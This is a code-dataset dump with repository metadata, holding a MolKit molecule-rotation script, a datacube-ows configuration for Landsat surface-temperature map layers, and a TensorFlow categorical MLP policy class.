sys.exit() if not filename: print('rotate_molecule: filename must be specified.') usage() sys.exit() mol = Read(filename)[0] if verbose: print('read ', filename) filetype = os.path.splitext(os.path.basename(filename))[1] if verbose: print("filetype=", filetype) writer = None if filetype=='.pdbqt': writer = PdbqtWriter() elif filetype=='.pdbq': writer = PdbqWriter() elif filetype=='.pdbqs': writer = PdbqsWriter() elif filetype=='.pdb': writer = PdbWriter() else: print('Sorry! Unable to write this filetype->', filetype) center = numpy.add.reduce(mol.allAtoms.coords)/len(mol.allAtoms) crds = numpy.array(mol.allAtoms.coords) center = numpy.add.reduce(crds)/len(mol.allAtoms) crds = crds - center crds = crds.tolist() mol.allAtoms.updateCoords(crds) lenCoords = len(crds) #rotate the atoms here if axis is not None and angle is not None: rot = (float(angle)* 3.14159/180.)%(2 * numpy.pi) x = numpy.array([0.,0.,0.]) y = numpy.array(list(map(float,axis.split(',')))) matrix = rotax(x,y, rot) _ones = numpy.ones(lenCoords, 'f') _ones.shape = (lenCoords,1) mov_coords = numpy.concatenate((crds, _ones),1) newcoords = numpy.dot(mov_coords, matrix) nc = newcoords[:,:3].astype('f') for i in range(lenCoords): mol.allAtoms[i]._coords[0] = nc[i].tolist() else: if rotation=='z': #for rotation around z-axis: for a in mol.allAtoms: a._coords[0][0] = -1.*a._coords[0][0] a._coords[0][1] = -1.*a._coords[0][1] elif rotation=='y': #for rotation around y-axis: for a in mol.allAtoms: a._coords[0][0] = -1.*a._coords[0][0] a._coords[0][2] = -1.*a._coords[0][2] elif rotation=='x': #for rotation around x-axis: for a in mol.allAtoms: a._coords[0][1] = -1.*a._coords[0][1] a._coords[0][2] = -1.*a._coords[0][2] ncrds = numpy.array(mol.allAtoms.coords) ncrds = ncrds + center ncrds = ncrds.tolist() mol.allAtoms.updateCoords(ncrds) if writer: outptr = open(outputfilename, 'w') liglines = mol.parser.allLines ctr = 0 for l in liglines: if l.find("ATOM")!=0 and l.find("HETATM")!=0: outptr.write(l) else: writer.write_atom(outptr, mol.allAtoms[ctr]) ctr += 1 outptr.close() # To execute this command type: # rotate_molecule.py -f filename [-o outputfilename -u axis -a angle to rotate] -v

33.6

82

0.537879

import os from MolKit import Read from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter from mglutil.math.rotax import rotax import numpy if __name__ == '__main__': import sys import getopt def usage(): print("Usage: rotate_molecule.py -f filename") print() print(" Description of command...") print(" [-f] filename") print(" Optional parameters:") print(" [-o] alternative output filename") print(" (default is 'rotated_' +filename)") print(" [-y] rotate around the y axis") print(" (default is rotation around the z axis)") print(" [-x] rotate around the x axis") print(" (default is rotation around the z axis)") print(" [-u] user-defined axis of rotation '1.0,2.0,-6.2'") print(" (default is rotation around the z axis)") print(" [-a] angle for rotation about axis ") print(" (default is rotation around the z axis)") print(" [-v] verbose output") try: opt_list, args = getopt.getopt(sys.argv[1:], 'f:o:xyu:a:v') except getopt.GetoptError as msg: print('rotate_molecule.py: %s' %msg) usage() sys.exit(2) filename = None verbose = None outputfilename = None rotation = 'z' axis = None angle = None for o, a in opt_list: print("o=", o, " a=",a) if o in ('-f', '--f'): filename = a if verbose: print('set filename to ', filename) outputfilename = 'rotated_' + filename if o in ('-o', '--o'): outputfilename = a if verbose: print('set output outputfilename to ', a) if o in ('-x', '--x'): rotation = 'x' if verbose: print('set rotation to ', rotation) if o in ('-y', '--y'): rotation = 'y' if verbose: print('set rotation to ', rotation) if o in ('-u', '--u'): axis = a if verbose: print('set user-defined axis to ', axis) if o in ('-a', '--a'): angle = a if verbose: print('set angle for rotation to ', angle) if o in ('-v', '--v'): verbose = True if verbose: print('set verbose to ', True) if o in ('-h', '--'): usage() sys.exit() if not filename: print('rotate_molecule: filename must be specified.') usage() sys.exit() mol = Read(filename)[0] if verbose: print('read ', filename) filetype = os.path.splitext(os.path.basename(filename))[1] if verbose: print("filetype=", filetype) writer = None if filetype=='.pdbqt': writer = PdbqtWriter() elif filetype=='.pdbq': writer = PdbqWriter() elif filetype=='.pdbqs': writer = PdbqsWriter() elif filetype=='.pdb': writer = PdbWriter() else: print('Sorry! Unable to write this filetype->', filetype) center = numpy.add.reduce(mol.allAtoms.coords)/len(mol.allAtoms) crds = numpy.array(mol.allAtoms.coords) center = numpy.add.reduce(crds)/len(mol.allAtoms) crds = crds - center crds = crds.tolist() mol.allAtoms.updateCoords(crds) lenCoords = len(crds) if axis is not None and angle is not None: rot = (float(angle)* 3.14159/180.)%(2 * numpy.pi) x = numpy.array([0.,0.,0.]) y = numpy.array(list(map(float,axis.split(',')))) matrix = rotax(x,y, rot) _ones = numpy.ones(lenCoords, 'f') _ones.shape = (lenCoords,1) mov_coords = numpy.concatenate((crds, _ones),1) newcoords = numpy.dot(mov_coords, matrix) nc = newcoords[:,:3].astype('f') for i in range(lenCoords): mol.allAtoms[i]._coords[0] = nc[i].tolist() else: if rotation=='z': for a in mol.allAtoms: a._coords[0][0] = -1.*a._coords[0][0] a._coords[0][1] = -1.*a._coords[0][1] elif rotation=='y': for a in mol.allAtoms: a._coords[0][0] = -1.*a._coords[0][0] a._coords[0][2] = -1.*a._coords[0][2] elif rotation=='x': for a in mol.allAtoms: a._coords[0][1] = -1.*a._coords[0][1] a._coords[0][2] = -1.*a._coords[0][2] ncrds = numpy.array(mol.allAtoms.coords) ncrds = ncrds + center ncrds = ncrds.tolist() mol.allAtoms.updateCoords(ncrds) if writer: outptr = open(outputfilename, 'w') liglines = mol.parser.allLines ctr = 0 for l in liglines: if l.find("ATOM")!=0 and l.find("HETATM")!=0: outptr.write(l) else: writer.write_atom(outptr, mol.allAtoms[ctr]) ctr += 1 outptr.close()

true

790b18f6734a0e743f09e074c7c58ce541977cf8

10,660

py

Python

services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py

FlexiGroBots-H2020/datacube-config

8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91

[ "Apache-2.0" ]

null

services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py

FlexiGroBots-H2020/datacube-config

8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91

[ "Apache-2.0" ]

null

services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py

FlexiGroBots-H2020/datacube-config

8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91

[ "Apache-2.0" ]

null

from ows_refactored.common.ows_reslim_cfg import reslim_landsat bands_ls5_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls7_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls8_st = { "ST_B10": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } style_lsc2_st = { "name": "surface_temperature", "title": "Surface temperature - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_masked = { "name": "surface_temperature_masked", "title": "Surface temperature (cloud masked) - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "pq_masks": [ { "band": "QA_PIXEL", "flags": { "clear": True }, }, ], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_masked_ls8 = { "name": "surface_temperature_masked", "title": "Surface temperature (cloud masked) - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "pq_masks": [ { "band": "QA_PIXEL", "flags": { "clear": True, "cirrus": "not_high_confidence" }, }, ], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_qa = { "name": "surface_temperature_uncertainty", "title": "Surface temperature uncertainty - Celsius", "abstract": "Surface temperature uncertainty in degrees Celsius", "index_expression": "(0.01*st_qa)", "mpl_ramp": "viridis", "range": [0.0, 6.0], "legend": { "begin": "0.0", "end": "6.0", "decimal_places": 1, "ticks": ["0.0", "1.0", "2.0", "3.0", "4.0", "5.0", "6.0"], "tick_labels": { "0.0": {"label": "0.0"}, "1.0": {"label": "1.0"}, "2.0": {"label": "2.0"}, "3.0": {"label": "3.0"}, "4.0": {"label": "4.0"}, "5.0": {"label": "5.0"}, "6.0": {"prefix": ">"}, }, }, } layer_ls8 = { "title": "Surface temperature (Landsat 8)", "name": "ls8_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 8 product has a spatial resolution of 30 m and a temporal coverage of 2013 to present. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls8_st", "bands": bands_ls8_st, "dynamic": True, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, # True "apply_solar_corrections": False, }, "flags": [ { "product": "ls8_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked_ls8, ], }, } layer_ls7 = { "title": "Surface temperature (Landsat 7)", "name": "ls7_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 7 product has a spatial resolution of 30 m and a temporal coverage of 1999 to present. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls7_st", "bands": bands_ls7_st, "dynamic": True, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, # True "apply_solar_corrections": False, }, "flags": [ { "product": "ls7_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked, ], }, } layer_ls5 = { "title": "Surface temperature (Landsat 5)", "name": "ls5_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 5 product has a spatial resolution of 30 m and a temporal coverage of 1984 to 2012. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls5_st", "bands": bands_ls5_st, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, # True "apply_solar_corrections": False, }, "flags": [ { "product": "ls5_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked, ], }, }

40.075188

390

0.621764

from ows_refactored.common.ows_reslim_cfg import reslim_landsat bands_ls5_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls7_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls8_st = { "ST_B10": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } style_lsc2_st = { "name": "surface_temperature", "title": "Surface temperature - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_masked = { "name": "surface_temperature_masked", "title": "Surface temperature (cloud masked) - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "pq_masks": [ { "band": "QA_PIXEL", "flags": { "clear": True }, }, ], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_masked_ls8 = { "name": "surface_temperature_masked", "title": "Surface temperature (cloud masked) - Celsius", "abstract": "Surface temperature in degrees Celsius", "index_expression": "(0.00341802*st - 124.15)", "mpl_ramp": "magma", "range": [0.0, 50.0], "pq_masks": [ { "band": "QA_PIXEL", "flags": { "clear": True, "cirrus": "not_high_confidence" }, }, ], "legend": { "begin": "0.0", "end": "50.0", "decimal_places": 1, "ticks": ["0.0", "10.0", "20.0", "30.0", "40.0", "50.0"], "tick_labels": { "0.0": {"prefix": "<"}, "10.0": {"label": "10.0"}, "20.0": {"label": "20.0"}, "30.0": {"label": "30.0"}, "40.0": {"label": "40.0"}, "50.0": {"prefix": ">"}, }, }, } style_lsc2_st_qa = { "name": "surface_temperature_uncertainty", "title": "Surface temperature uncertainty - Celsius", "abstract": "Surface temperature uncertainty in degrees Celsius", "index_expression": "(0.01*st_qa)", "mpl_ramp": "viridis", "range": [0.0, 6.0], "legend": { "begin": "0.0", "end": "6.0", "decimal_places": 1, "ticks": ["0.0", "1.0", "2.0", "3.0", "4.0", "5.0", "6.0"], "tick_labels": { "0.0": {"label": "0.0"}, "1.0": {"label": "1.0"}, "2.0": {"label": "2.0"}, "3.0": {"label": "3.0"}, "4.0": {"label": "4.0"}, "5.0": {"label": "5.0"}, "6.0": {"prefix": ">"}, }, }, } layer_ls8 = { "title": "Surface temperature (Landsat 8)", "name": "ls8_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 8 product has a spatial resolution of 30 m and a temporal coverage of 2013 to present. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls8_st", "bands": bands_ls8_st, "dynamic": True, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, "apply_solar_corrections": False, }, "flags": [ { "product": "ls8_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked_ls8, ], }, } layer_ls7 = { "title": "Surface temperature (Landsat 7)", "name": "ls7_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 7 product has a spatial resolution of 30 m and a temporal coverage of 1999 to present. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls7_st", "bands": bands_ls7_st, "dynamic": True, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, "apply_solar_corrections": False, }, "flags": [ { "product": "ls7_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked, ], }, } layer_ls5 = { "title": "Surface temperature (Landsat 5)", "name": "ls5_st", "abstract": """ Surface temperature measures the Earth’s surface temperature and is an important geophysical parameter in global energy balance studies and hydrologic modeling. Surface temperature is also useful for monitoring crop and vegetation health, and extreme heat events such as natural disasters (e.g., volcanic eruptions, wildfires), and urban heat island effects. DE Africa provides access to Landsat Collection 2 Level-2 Surface Temperature products over Africa. USGS Landsat Collection 2 offers improved processing, geometric accuracy, and radiometric calibration compared to previous Collection 1 products. The Level-2 products are endorsed by the Committee on Earth Observation Satellites (CEOS) to be Analysis Ready Data for Land (CARD4L)-compliant. More techincal information about the Landsat Surface Temperature product can be found in the User Guide (https://docs.digitalearthafrica.org/en/latest/data_specs/Landsat_C2_ST_specs.html). Landsat 5 product has a spatial resolution of 30 m and a temporal coverage of 1984 to 2012. Landsat Level- 2 Surface Temperature Science Product courtesy of the U.S. Geological Survey. For more information on Landsat products, see https://www.usgs.gov/core-science-systems/nli/landsat/landsat-collection-2-level-2-science-products. This product is accessible through OGC Web Service (https://ows.digitalearth.africa/), for analysis in DE Africa Sandbox JupyterLab (https://github.com/digitalearthafrica/deafrica-sandbox-notebooks/wiki) and for direct download from AWS S3 (https://data.digitalearth.africa/). """, "product_name": "ls5_st", "bands": bands_ls5_st, "resource_limits": reslim_landsat, "image_processing": { "extent_mask_func": "datacube_ows.ogc_utils.mask_by_val", "always_fetch_bands": [], "manual_merge": False, "apply_solar_corrections": False, }, "flags": [ { "product": "ls5_st", "band": "QA_PIXEL", }, ], "native_crs": "EPSG:3857", "native_resolution": [30.0, -30.0], "styling": { "default_style": "surface_temperature", "styles": [ style_lsc2_st, style_lsc2_st_qa, style_lsc2_st_masked, ], }, }

true

790b1a9e45cc381969fa85f3a9d96924b9186a1b

5,640

py

Python

src/metarl/tf/policies/categorical_mlp_policy.py

icml2020submission6857/metarl

9b66cefa2b6bcb6a38096d629ce8853b47c7171d

[ "MIT" ]

2

2020-03-15T14:35:15.000Z

2021-02-15T16:38:00.000Z

src/metarl/tf/policies/categorical_mlp_policy.py

icml2020submission6857/metarl

9b66cefa2b6bcb6a38096d629ce8853b47c7171d

[ "MIT" ]

null

src/metarl/tf/policies/categorical_mlp_policy.py

icml2020submission6857/metarl

9b66cefa2b6bcb6a38096d629ce8853b47c7171d

[ "MIT" ]

1

2020-02-24T03:04:23.000Z

"""CategoricalMLPPolicy.""" import akro import tensorflow as tf from metarl.tf.distributions import Categorical from metarl.tf.models import MLPModel from metarl.tf.policies import StochasticPolicy class CategoricalMLPPolicy(StochasticPolicy): """CategoricalMLPPolicy A policy that contains a MLP to make prediction based on a categorical distribution. It only works with akro.Discrete action space. Args: env_spec (metarl.envs.env_spec.EnvSpec): Environment specification. name (str): Policy name, also the variable scope. hidden_sizes (list[int]): Output dimension of dense layer(s). For example, (32, 32) means the MLP of this policy consists of two hidden layers, each with 32 hidden units. hidden_nonlinearity (callable): Activation function for intermediate dense layer(s). It should return a tf.Tensor. Set it to None to maintain a linear activation. hidden_w_init (callable): Initializer function for the weight of intermediate dense layer(s). The function should return a tf.Tensor. hidden_b_init (callable): Initializer function for the bias of intermediate dense layer(s). The function should return a tf.Tensor. output_nonlinearity (callable): Activation function for output dense layer. It should return a tf.Tensor. Set it to None to maintain a linear activation. output_w_init (callable): Initializer function for the weight of output dense layer(s). The function should return a tf.Tensor. output_b_init (callable): Initializer function for the bias of output dense layer(s). The function should return a tf.Tensor. layer_normalization (bool): Bool for using layer normalization or not. """ def __init__(self, env_spec, name='CategoricalMLPPolicy', hidden_sizes=(32, 32), hidden_nonlinearity=tf.nn.tanh, hidden_w_init=tf.glorot_uniform_initializer(), hidden_b_init=tf.zeros_initializer(), output_nonlinearity=tf.nn.softmax, output_w_init=tf.glorot_uniform_initializer(), output_b_init=tf.zeros_initializer(), layer_normalization=False): assert isinstance(env_spec.action_space, akro.Discrete), ( 'CategoricalMLPPolicy only works with akro.Discrete action ' 'space.') super().__init__(name, env_spec) self.obs_dim = env_spec.observation_space.flat_dim self.action_dim = env_spec.action_space.n self.model = MLPModel(output_dim=self.action_dim, hidden_sizes=hidden_sizes, hidden_nonlinearity=hidden_nonlinearity, hidden_w_init=hidden_w_init, hidden_b_init=hidden_b_init, output_nonlinearity=output_nonlinearity, output_w_init=output_w_init, output_b_init=output_b_init, layer_normalization=layer_normalization, name='MLPModel') self._initialize() def _initialize(self): state_input = tf.compat.v1.placeholder(tf.float32, shape=(None, self.obs_dim)) with tf.compat.v1.variable_scope(self.name) as vs: self._variable_scope = vs self.model.build(state_input) self._f_prob = tf.compat.v1.get_default_session().make_callable( self.model.networks['default'].outputs, feed_list=[self.model.networks['default'].input]) @property def vectorized(self): """Vectorized or not.""" return True def dist_info_sym(self, obs_var, state_info_vars=None, name=None): """Symbolic graph of the distribution.""" with tf.compat.v1.variable_scope(self._variable_scope): prob = self.model.build(obs_var, name=name) return dict(prob=prob) def dist_info(self, obs, state_infos=None): """Distribution info.""" prob = self._f_prob(obs) return dict(prob=prob) def get_action(self, observation): """Return a single action.""" flat_obs = self.observation_space.flatten(observation) prob = self._f_prob([flat_obs])[0] action = self.action_space.weighted_sample(prob) return action, dict(prob=prob) def get_actions(self, observations): """Return multiple actions.""" flat_obs = self.observation_space.flatten_n(observations) probs = self._f_prob(flat_obs) actions = list(map(self.action_space.weighted_sample, probs)) return actions, dict(prob=probs) def get_regularizable_vars(self): """Get regularizable weight variables under the Policy scope.""" trainable = self.get_trainable_vars() return [ var for var in trainable if 'hidden' in var.name and 'kernel' in var.name ] @property def distribution(self): """Policy distribution.""" return Categorical(self.action_dim) def __getstate__(self): """Object.__getstate__.""" new_dict = super().__getstate__() del new_dict['_f_prob'] return new_dict def __setstate__(self, state): """Object.__setstate__.""" super().__setstate__(state) self._initialize()

39.71831

78

0.623227

import akro import tensorflow as tf from metarl.tf.distributions import Categorical from metarl.tf.models import MLPModel from metarl.tf.policies import StochasticPolicy class CategoricalMLPPolicy(StochasticPolicy): def __init__(self, env_spec, name='CategoricalMLPPolicy', hidden_sizes=(32, 32), hidden_nonlinearity=tf.nn.tanh, hidden_w_init=tf.glorot_uniform_initializer(), hidden_b_init=tf.zeros_initializer(), output_nonlinearity=tf.nn.softmax, output_w_init=tf.glorot_uniform_initializer(), output_b_init=tf.zeros_initializer(), layer_normalization=False): assert isinstance(env_spec.action_space, akro.Discrete), ( 'CategoricalMLPPolicy only works with akro.Discrete action ' 'space.') super().__init__(name, env_spec) self.obs_dim = env_spec.observation_space.flat_dim self.action_dim = env_spec.action_space.n self.model = MLPModel(output_dim=self.action_dim, hidden_sizes=hidden_sizes, hidden_nonlinearity=hidden_nonlinearity, hidden_w_init=hidden_w_init, hidden_b_init=hidden_b_init, output_nonlinearity=output_nonlinearity, output_w_init=output_w_init, output_b_init=output_b_init, layer_normalization=layer_normalization, name='MLPModel') self._initialize() def _initialize(self): state_input = tf.compat.v1.placeholder(tf.float32, shape=(None, self.obs_dim)) with tf.compat.v1.variable_scope(self.name) as vs: self._variable_scope = vs self.model.build(state_input) self._f_prob = tf.compat.v1.get_default_session().make_callable( self.model.networks['default'].outputs, feed_list=[self.model.networks['default'].input]) @property def vectorized(self): return True def dist_info_sym(self, obs_var, state_info_vars=None, name=None): with tf.compat.v1.variable_scope(self._variable_scope): prob = self.model.build(obs_var, name=name) return dict(prob=prob) def dist_info(self, obs, state_infos=None): prob = self._f_prob(obs) return dict(prob=prob) def get_action(self, observation): flat_obs = self.observation_space.flatten(observation) prob = self._f_prob([flat_obs])[0] action = self.action_space.weighted_sample(prob) return action, dict(prob=prob) def get_actions(self, observations): flat_obs = self.observation_space.flatten_n(observations) probs = self._f_prob(flat_obs) actions = list(map(self.action_space.weighted_sample, probs)) return actions, dict(prob=probs) def get_regularizable_vars(self): trainable = self.get_trainable_vars() return [ var for var in trainable if 'hidden' in var.name and 'kernel' in var.name ] @property def distribution(self): return Categorical(self.action_dim) def __getstate__(self): new_dict = super().__getstate__() del new_dict['_f_prob'] return new_dict def __setstate__(self, state): super().__setstate__(state) self._initialize()

true

790b1bcb65b0002b2304c49056b552d8e13c6713

54,457

py

Python

os-lib/mbed-os/tools/build_api.py

ghsecuritylab/BenchIoT

4919427d35e578a7ff07ef5e0b4710b6455dd0b9

[ "Apache-2.0" ]

22

2019-05-03T03:39:09.000Z

2022-02-26T17:14:15.000Z

os-lib/mbed-os/tools/build_api.py

ghsecuritylab/BenchIoT

4919427d35e578a7ff07ef5e0b4710b6455dd0b9

[ "Apache-2.0" ]

3

2019-07-29T19:48:49.000Z

2022-01-10T07:24:43.000Z

os-lib/mbed-os/tools/build_api.py

ghsecuritylab/BenchIoT

4919427d35e578a7ff07ef5e0b4710b6455dd0b9

[ "Apache-2.0" ]

8

2019-05-16T08:02:33.000Z

2021-08-03T03:41:37.000Z

